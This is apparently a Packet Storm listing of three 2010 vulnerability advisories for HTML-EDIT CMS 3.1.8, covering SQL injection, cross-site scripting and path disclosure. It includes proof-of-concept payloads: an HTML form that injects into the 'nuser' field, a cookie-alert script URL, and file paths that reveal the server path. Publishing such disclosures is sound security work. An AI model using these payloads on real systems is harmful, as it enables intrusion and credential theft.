HTML-EDIT CMS 3.1.8 Cross Site Scripting / Path Disclosure / SQL Injection

2010-12-21T00:00:00
ID PACKETSTORM:96874
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-12-21T00:00:00

Description

                                        
                                            `Vulnerability ID: HTB22734  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_html_edit_cms.html  
Product: HTML-EDIT CMS  
Vendor: html-edit web services ( http://www.html-edit.org/ )   
Vulnerable Version: 3.1.8  
Vendor Notification: 02 December 2010   
Vulnerability Type: SQL Injection  
Status: Fixed by Vendor  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nuser variable.  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://[host]/index.php?pageid=ext&ext=login&extpage=registrate" method="post" name="main" >  
<input type="hidden" name="nuser" value="123'SQL_CODE"/>  
<input type="hidden" name="npass" value="password"/>  
<input type="hidden" name="renpass" value="password"/>  
<input type="hidden" name="gvrg" value="1"/>  
<input type="hidden" name="antw" value="2"/>  
<input type="hidden" name="email" value="test@email.com"/>  
<input type="submit" value="Registrate" name="submit" />  
</form>  
  
Solution: Upgrade to the most recent version  
Vulnerability ID: HTB22735  
Reference: http://www.htbridge.ch/advisory/xss_in_html_edit_cms.html  
Product: HTML-EDIT CMS  
Vendor: html-edit web services ( http://www.html-edit.org/ )   
Vulnerable Version: 3.1.8  
Vendor Notification: 02 December 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
http://[host]/index.php?error=<script>alert(document.cookie)</script>  
  
Solution: Upgrade to the most recent version  
Vulnerability ID: HTB22736  
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_html_edit_cms.html  
Product: HTML-EDIT CMS  
Vendor: html-edit web services ( http://www.html-edit.org/ )   
Vulnerable Version: 3.1.8  
Vendor Notification: 02 December 2010   
Vulnerability Type: Path disclosure  
Status: Fixed by Vendor  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
A remote user can determine the full path to the web root directory and other potentially sensitive information.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
http://htmledit/includes/core_files/pages.php  
http://htmledit/includes/core_files/menu.php  
http://htmledit/extensions/login/frontend/pages/antihacker.php  
  
Solution: Upgrade to the most recent version  
`